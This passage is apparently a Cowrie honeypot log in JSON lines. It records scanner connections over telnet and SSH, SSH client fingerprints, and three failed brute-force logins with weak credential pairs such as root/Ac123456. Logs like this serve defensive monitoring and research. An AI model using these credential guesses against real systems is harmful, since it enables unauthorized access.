{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":57640,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b11410a3ce5","protocol":"telnet","message":"New connection: 159.223.86.167:57640 (159.203.135.109:23) [session: 8b11410a3ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:26.477590Z"}
{"eventid":"cowrie.session.closed","duration":34.84906029701233,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:27.013820Z","src_ip":"213.136.75.179","session":"e59646e8dae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:27.163088Z","src_ip":"159.203.92.129","session":"a722d2ff8e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.70833945274353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:27.239724Z","src_ip":"159.223.86.167","session":"3323ac3c2216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091367959976196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:27.460904Z","src_ip":"159.223.86.167","session":"6dae5d64918b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":50562,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f136c94add3","protocol":"telnet","message":"New connection: 159.223.86.167:50562 (159.203.135.109:23) [session: 6f136c94add3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:27.803244Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":36454,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbdb517cd6b3","protocol":"telnet","message":"New connection: 159.223.86.167:36454 (159.203.135.109:23) [session: fbdb517cd6b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:28.045807Z"}
{"eventid":"cowrie.session.closed","duration":36.04001450538635,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:28.926263Z","src_ip":"213.136.75.179","session":"03872a080e72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":44766,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2e9327c37d8","protocol":"telnet","message":"New connection: 159.223.86.167:44766 (159.203.135.109:23) [session: d2e9327c37d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:30.105924Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56322,"dst_ip":"159.203.135.109","dst_port":23,"session":"c65815b3db56","protocol":"telnet","message":"New connection: 185.26.126.47:56322 (159.203.135.109:23) [session: c65815b3db56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:30.936590Z"}
{"eventid":"cowrie.session.closed","duration":34.64005208015442,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:31.027407Z","src_ip":"213.136.75.179","session":"4c7b55e5980e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40526,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc4192b1613c","protocol":"ssh","message":"New connection: 176.65.139.103:40526 (10.17.0.5:22) [session: bc4192b1613c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:31.422823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:31.433408Z","src_ip":"176.65.139.103","session":"bc4192b1613c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:31.517636Z","src_ip":"176.65.139.103","session":"bc4192b1613c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:31.838988Z","src_ip":"176.65.139.103","session":"bc4192b1613c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":54316,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c087bc7938f","protocol":"telnet","message":"New connection: 159.223.86.167:54316 (159.203.135.109:23) [session: 0c087bc7938f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:32.387549Z"}
{"eventid":"cowrie.session.closed","duration":30.650625944137573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:32.429513Z","src_ip":"159.223.86.167","session":"6b2c16ded462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":55360,"dst_ip":"159.203.135.109","dst_port":23,"session":"cae382518276","protocol":"telnet","message":"New connection: 159.223.86.167:55360 (159.203.135.109:23) [session: cae382518276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:32.645046Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:32.981534Z","src_ip":"176.65.139.103","session":"bc4192b1613c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":57586,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd790fee6258","protocol":"telnet","message":"New connection: 159.223.86.167:57586 (159.203.135.109:23) [session: fd790fee6258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:33.147908Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":59378,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cfdbd7e73ed","protocol":"telnet","message":"New connection: 159.223.86.167:59378 (159.203.135.109:23) [session: 9cfdbd7e73ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:33.641042Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":60516,"dst_ip":"159.203.135.109","dst_port":23,"session":"96b32e9f1223","protocol":"telnet","message":"New connection: 159.223.86.167:60516 (159.203.135.109:23) [session: 96b32e9f1223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:33.857343Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":53592,"dst_ip":"10.17.0.5","dst_port":23,"session":"acbee0e709f9","protocol":"telnet","message":"New connection: 213.136.75.179:53592 (10.17.0.5:23) [session: acbee0e709f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:35.312267Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":39724,"dst_ip":"159.203.135.109","dst_port":23,"session":"72c4f8a046e4","protocol":"telnet","message":"New connection: 159.223.86.167:39724 (159.203.135.109:23) [session: 72c4f8a046e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:35.760854Z"}
{"eventid":"cowrie.session.closed","duration":32.03283953666687,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:35.942565Z","src_ip":"159.223.86.167","session":"77d3756acbdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":48828,"dst_ip":"159.203.135.109","dst_port":23,"session":"65c4f95841a6","protocol":"telnet","message":"New connection: 159.223.86.167:48828 (159.203.135.109:23) [session: 65c4f95841a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:37.953898Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33538,"dst_ip":"10.17.0.5","dst_port":22,"session":"99ab421ae25f","protocol":"ssh","message":"New connection: 176.65.139.103:33538 (10.17.0.5:22) [session: 99ab421ae25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:38.082497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:38.087634Z","src_ip":"176.65.139.103","session":"99ab421ae25f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":49762,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8ec8efd8795","protocol":"telnet","message":"New connection: 159.223.86.167:49762 (159.203.135.109:23) [session: b8ec8efd8795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:38.148568Z"}
{"eventid":"cowrie.session.closed","duration":30.455113649368286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:38.177800Z","src_ip":"159.223.86.167","session":"3149b7915785","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":50054,"dst_ip":"159.203.135.109","dst_port":23,"session":"e63207f27761","protocol":"telnet","message":"New connection: 159.223.86.167:50054 (159.203.135.109:23) [session: e63207f27761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:38.203645Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:38.305577Z","src_ip":"176.65.139.103","session":"99ab421ae25f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.21146082878113,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:38.556569Z","src_ip":"213.136.75.179","session":"f51fe5c5fa95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892894744873047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:38.791734Z","src_ip":"213.136.75.179","session":"2d5775b6579e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:38.833061Z","src_ip":"176.65.139.103","session":"99ab421ae25f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":53090,"dst_ip":"159.203.135.109","dst_port":23,"session":"a886ed835128","protocol":"telnet","message":"New connection: 159.223.86.167:53090 (159.203.135.109:23) [session: a886ed835128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:38.956410Z"}
{"eventid":"cowrie.session.closed","duration":31.31737232208252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:39.354143Z","src_ip":"159.223.86.167","session":"d018b6d4e0f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":55734,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4b66c3fb6d1","protocol":"telnet","message":"New connection: 159.223.86.167:55734 (159.203.135.109:23) [session: e4b66c3fb6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:39.617786Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.220.31.6","src_port":50134,"dst_ip":"10.17.0.5","dst_port":23,"session":"647cc0287095","protocol":"telnet","message":"New connection: 37.220.31.6:50134 (10.17.0.5:23) [session: 647cc0287095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:39.650140Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":40524,"dst_ip":"10.17.0.5","dst_port":23,"session":"b440bfee60e9","protocol":"telnet","message":"New connection: 213.136.75.179:40524 (10.17.0.5:23) [session: b440bfee60e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:39.742023Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":56976,"dst_ip":"159.203.135.109","dst_port":23,"session":"81097ef23458","protocol":"telnet","message":"New connection: 159.223.86.167:56976 (159.203.135.109:23) [session: 81097ef23458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:39.894434Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:39.919953Z","src_ip":"176.65.139.103","session":"99ab421ae25f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":57920,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b9c73eea192","protocol":"telnet","message":"New connection: 159.223.86.167:57920 (159.203.135.109:23) [session: 3b9c73eea192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:40.126193Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":59236,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ae446e3baa4","protocol":"telnet","message":"New connection: 159.223.86.167:59236 (159.203.135.109:23) [session: 2ae446e3baa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:40.450130Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":56594,"dst_ip":"159.203.135.109","dst_port":23,"session":"084b4e439b4d","protocol":"telnet","message":"New connection: 159.223.86.167:56594 (159.203.135.109:23) [session: 084b4e439b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:40.796258Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":33634,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef0e35e3c4e1","protocol":"telnet","message":"New connection: 159.223.86.167:33634 (159.203.135.109:23) [session: ef0e35e3c4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:40.953803Z"}
{"eventid":"cowrie.session.closed","duration":30.484229564666748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:41.199431Z","src_ip":"159.223.86.167","session":"604907e102f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":35256,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0fdfc4b35ab","protocol":"telnet","message":"New connection: 159.223.86.167:35256 (159.203.135.109:23) [session: c0fdfc4b35ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:41.349634Z"}
{"eventid":"cowrie.session.closed","duration":30.98594903945923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:41.439483Z","src_ip":"159.223.86.167","session":"b66e1c86f42f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840781688690186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:42.062249Z","src_ip":"5.101.84.150","session":"4000c6824260","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.69425082206726,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:42.837329Z","src_ip":"213.136.75.179","session":"f27d64f297a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.467389345169067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:43.012262Z","src_ip":"159.223.86.167","session":"4ba5c918e988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":40528,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa58d0f04c5b","protocol":"telnet","message":"New connection: 213.136.75.179:40528 (10.17.0.5:23) [session: aa58d0f04c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:43.050123Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":43352,"dst_ip":"159.203.135.109","dst_port":23,"session":"d72a00f9ccf7","protocol":"telnet","message":"New connection: 159.223.86.167:43352 (159.203.135.109:23) [session: d72a00f9ccf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:43.248121Z"}
{"eventid":"cowrie.session.closed","duration":34.26551938056946,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:43.575339Z","src_ip":"213.136.75.179","session":"b4d4280093ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.459446907043457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:44.036213Z","src_ip":"159.223.86.167","session":"090573c16758","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.678966999053955,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:44.681926Z","src_ip":"159.223.86.167","session":"c35e57af1658","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":49538,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd278b138910","protocol":"telnet","message":"New connection: 159.223.86.167:49538 (159.203.135.109:23) [session: bd278b138910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:44.754325Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55932,"dst_ip":"10.17.0.5","dst_port":22,"session":"80cfdd5c14d5","protocol":"ssh","message":"New connection: 176.65.139.103:55932 (10.17.0.5:22) [session: 80cfdd5c14d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:44.931624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:44.937313Z","src_ip":"176.65.139.103","session":"80cfdd5c14d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:45.024642Z","src_ip":"176.65.139.103","session":"80cfdd5c14d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":50970,"dst_ip":"159.203.135.109","dst_port":23,"session":"51beac36b026","protocol":"telnet","message":"New connection: 159.223.86.167:50970 (159.203.135.109:23) [session: 51beac36b026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:45.072130Z"}
{"eventid":"cowrie.session.closed","duration":30.74666690826416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:45.226238Z","src_ip":"159.223.86.167","session":"e6e73ddc0c38","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:45.273991Z","src_ip":"176.65.139.103","session":"80cfdd5c14d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.088335037231445,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:45.459008Z","src_ip":"213.136.75.179","session":"aac150c1d3ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.78096318244934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:45.499659Z","src_ip":"213.136.75.179","session":"b4607a454032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:46.380945Z","src_ip":"176.65.139.103","session":"80cfdd5c14d5","protocol":"ssh"}
